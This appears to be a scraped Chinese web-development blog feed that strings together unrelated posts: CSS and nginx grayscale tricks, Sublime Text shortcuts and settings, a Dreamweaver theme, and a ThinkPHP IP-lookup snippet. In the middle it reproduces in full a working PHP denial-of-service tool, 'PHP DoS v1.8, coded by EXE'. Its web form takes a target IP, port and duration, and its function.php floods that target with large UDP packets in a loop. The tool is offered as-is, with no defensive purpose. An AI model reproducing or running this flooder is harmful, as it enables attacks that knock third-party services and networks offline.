关键字: css代码网页变灰 css代码网页变黑白 nginx网页变灰代码变黑白代码 css滤镜实现页面灰色黑白色效果

1 css代码,支持ie firefox chrome等webkit核心 Opera

html{
filter: grayscale(100%);
-webkit-filter: grayscale(100%); /* Chrome 19+, Safari 6+, Safari 6+ iOS */
-webkit-filter: grayscale(1);
filter: gray; /* For IE 6 - 9 */
filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); 
filter: url("data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale"); /* Firefox 10+, Firefox on Android */
-moz-filter: grayscale(100%); /*待定*/
-ms-filter: grayscale(100%); /*待定*/
-o-filter: grayscale(100%); /*欧朋有什么解决办法?*/
}

2 利用ningx http_sub_module模块把html代码注入http中,不改动web文件实现

来源:https://gist.github.com/hydra35/5426536

# 1. Make sure you have nginx sub module compiled in
# nginx -V  2>&1 | grep --color=always '\-\-with\-http_sub_module'

# 2. add two directives below at HTTP level

# nginx.conf
http {
        # ......

        sub_filter  '</head>' '<style type="text/css">html{ filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); -webkit-filter: grayscale(100%); filter: url("data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale"); /* Firefox 10+, Firefox on Android */
} img { _filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=0); -webkit-filter: grayscale(100%); filter: url("data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale"); /* Firefox 10+, Firefox on Android */
} </style>';
        sub_filter_once on;

        # ......
}

# 3. nginx -t && /etc/init.d/nginx reload

问:Sublime Text 2如何跳转函数

答:CTRL+R 或者 CRTL+P输入@

问:Sublime Text 2如何跳转到多少行

答:CTRL+G

问:Sublime Text 2如何快速查找、跳转需要编辑的文件

答:前提是你打开的一个文件夹(一个项目),CTRL+P,支持模糊匹配。

问:Sublime Text 2如何快速注释

答:CTRL+/ 注释单行  CTRL+SHIFT+/注释多行

问:Sublime Text 2如何设置代码片段,并快速调用

答: 菜单:tools->new snippet

<snippet>
    <content><![CDATA[
/**
*@description:

*@author:wwek https://www.iamle.com

*@update:wwek(2013年1月22日)

*/
]]></content>
    <!-- 触发名字 -->
    <tabTrigger>readme</tabTrigger>
    <!-- 在编辑哪一种扩展名的时候使用 -->
    <scope>source.css</scope>
    <!-- 描述 -->
    <description>/* */</description>
<!-- 将文件保存在”packages/User”目录下,以sublime-snippet为扩展名。
     重启sublime text 2,该snippet即可使用了。 -->
</snippet>

Wwek的Sublime Text使用的配置

{
    "color_scheme": "Packages/Color Scheme - Default/Monokai Bright.tmTheme", //代码配色方案
    "detect_slow_plugins": false,
    "draw_minimap_border": true, //minimap边框
    "font_face": "YaHei Consolas Hybrid", //字体
    "font_size": 13.0, //字体大小
    "highlight_line": true,  //高亮当前选择行
    "indent_to_bracket": true,
    "save_on_focus_lost": true, //焦点失去时保存
    "tab_size": 4, //tab大小
    "theme": "Soda Dark.sublime-theme", //界面主题
    "translate_tabs_to_spaces": true, //自动转换tab为空格
    //"default_line_ending": "unix",  //unix风格换行符
    "trim_trailing_white_space_on_save": true, //保证在文件保存时,移除每行结尾多余空格
    "use_tab_stops": true, // translate_tabs_to_spaces设置为true,Tab和Backspace的删除/插入作用于制表符宽度 否则作用于单个空格use_tab_stops
    "ignored_packages": //需要忽略的插件
    [
        "JsFormat"
    ],
    "binary_file_patterns": //包含在side bar,但是不包含在 go to anything
    [
        "*.jpg",
        "*.jpeg",
        "*.png",
        "*.gif",
        "*.ttf",
        "*.tga",
        "*.dds",
        "*.ico",
        "*.eot",
        "*.pdf",
        "*.swf",
        "*.jar",
        "*.zip"
    ],
    "file_exclude_patterns": //排除的扩展名
    [
        "*.shtml",
        "*.pyc",
        "*.pyo",
        "*.exe",
        "*.dll",
        "*.obj",
        "*.o",
        "*.a",
        "*.lib",
        "*.so",
        "*.dylib",
        "*.ncb",
        "*.sdf",
        "*.suo",
        "*.pdb",
        "*.idb",
        ".DS_Store",
        "*.class",
        "*.psd",
        "*.db"
    ],
    "folder_exclude_patterns": //排除的文件夹
    [
        "Html",
        "upload",
        "Runtime",
        ".svn",
        ".git",
        ".hg",
        "CVS"
    ]
}

Sublime Text快捷键:

  • Ctrl+Shift+P:打开命令面板
  • Ctrl+P:搜索项目中的文件
  • Ctrl+G:跳转到第几行
  • Ctrl+W:关闭当前打开文件
  • Ctrl+Shift+W:关闭所有打开文件
  • Ctrl+Shift+V:粘贴并格式化
  • Ctrl+D:选择单词,重复可增加选择下一个相同的单词
  • Ctrl+L:选择行,重复可依次增加选择下一行
  • Ctrl+Shift+L:选择多行
  • Ctrl+Shift+Enter:在当前行前插入新行
  • Ctrl+X:删除当前行
  • Ctrl+M:跳转到对应括号
  • Ctrl+U:软撤销,撤销光标位置
  • Ctrl+J:选择标签内容
  • Ctrl+F:查找内容
  • Ctrl+Shift+F:查找并替换
  • Ctrl+H:替换
  • Ctrl+R:前往 method
  • Ctrl+N:新建窗口
  • Ctrl+K+B:开关侧栏
  • Ctrl+Shift+M:选中当前括号内容,重复可选着括号本身
  • Ctrl+F2:设置/删除标记
  • Ctrl+/:注释当前行
  • Ctrl+Shift+/:当前位置插入注释
  • Ctrl+Alt+/:块注释,并Focus到首行,写注释说明用的
  • Ctrl+Shift+A:选择当前标签前后,修改标签用的
  • F11:全屏
  • Shift+F11:全屏免打扰模式,只编辑当前文件
  • Alt+F3:选择所有相同的词
  • Alt+.:闭合标签
  • Alt+Shift+数字:分屏显示
  • Alt+数字:切换打开第N个文件
  • Shift+右键拖动:光标多不,用来更改或插入列内容
  • 鼠标的前进后退键可切换Tab文件
  • 按Ctrl,依次点击或选取,可需要编辑的多个位置
  • 按Ctrl+Shift+上下键,可替换行

 

扩展阅读
Sublime Text 使用介绍、全套快捷键及插件推荐

Dreamweaver默认的代码颜色着实太差了,白色的背景不适合长时间看代码~

来个代码颜色模板吧。

最终效果

仅在windows下的安装方法

  • 1) Close Dreamweaver
  • 2) Browse to: C:\Documents and Settings\%username%\Application Data\Adobe\Dreamweaver 9\Configuration\CodeColoring (on WinXP)
    or C:\Users\%username%\Application Data\Adobe\Dreamweaver 9\Configuration\CodeColoring (on Vista)
    or C:\Users\%username%\AppData\Roaming\Adobe\Dreamweaver CS4\en_US\Configuration\CodeColoring (on Windows 7)
  • 3) Rename the Colors.xml file to something different – say Colors2.xml (This will be the file you go back to if you don’t like the new colour scheme)
  • 4) Download and extract the the zip at the end of this article to the location you opened at point 2.
  • 5) Open Dreamweaver and go to Edit/Preferences/Code Colouring and change the default background colour to #003

下载dreamweaver_colours.zip  (Dreamweaver CS4

下载dreamweaver_colours(Dreamweaver CS5 Dreamweaver CS6)

原文:

http://www.thatwebguyblog.com/post/a_dark_code_view_theme_for_dreamweaver/

btw:Notepad++的配色方案 

index.php

<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
	<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
	<meta name="author" content="">

	<title>PHP DoS, Coded by EXE</title>
</head>
<!-- PHP DOS, coded by EXE -->
<style type="text/css">
<!--
body {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 12px;
	font-style: normal;
	line-height: normal;
	color: #FFFFFF;
	background-color: #000000;
}

-->
</style>
<!-- PHP DOS, coded by EXE -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
    Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
    Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value="    Start the Attack--->    ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>

</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>

function.php

<?php

//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//=================================================

$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_POST['time'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;



for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
        
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

    //获取ip地址归属地开始
    import('ORG.Net.IpLocation'); // 导入IpLocation类
    $Ip = new IpLocation('UTFWry.dat'); // 实例化类 参数表示IP地址库文件
    $ipaddr = $order[0]['ip'];
    $iparea = $Ip->getlocation($ipaddr); // 获取某个IP地址所在的位置
    $this->assign('iparea', $iparea);
    echo $iparea['ip'];
    echo $iparea['country'];
    echo $iparea['area'];
    //获取ip地址归属地结束

thinkphp使用 utf-8版 UTFWry.dat 2012-10-25日更新@纯正IP数据库。utf-8版 UTFWry.dat下载

–2012年12月21日更新–

最新

gb2312_qqwry.dat和utf-8_UTFWry.dat_IP地址库20121221.zip下载

 

        Discuz! X1.5 的 URL 静态化 各种web服务器软件规则

       URL 静态化可以提高搜索引擎抓取,开启本功能需要对 Web 服务器增加相应的 Rewrite 支持,且会轻微增加服务器负担。同时你还可以调整每个页面的静态格式,但不得删除其中的标记,重置静态格式请留空。注意,修改静态格式后你需要修改服务器的 Rewrite 规则设置

规则皆为官网提供

继续阅读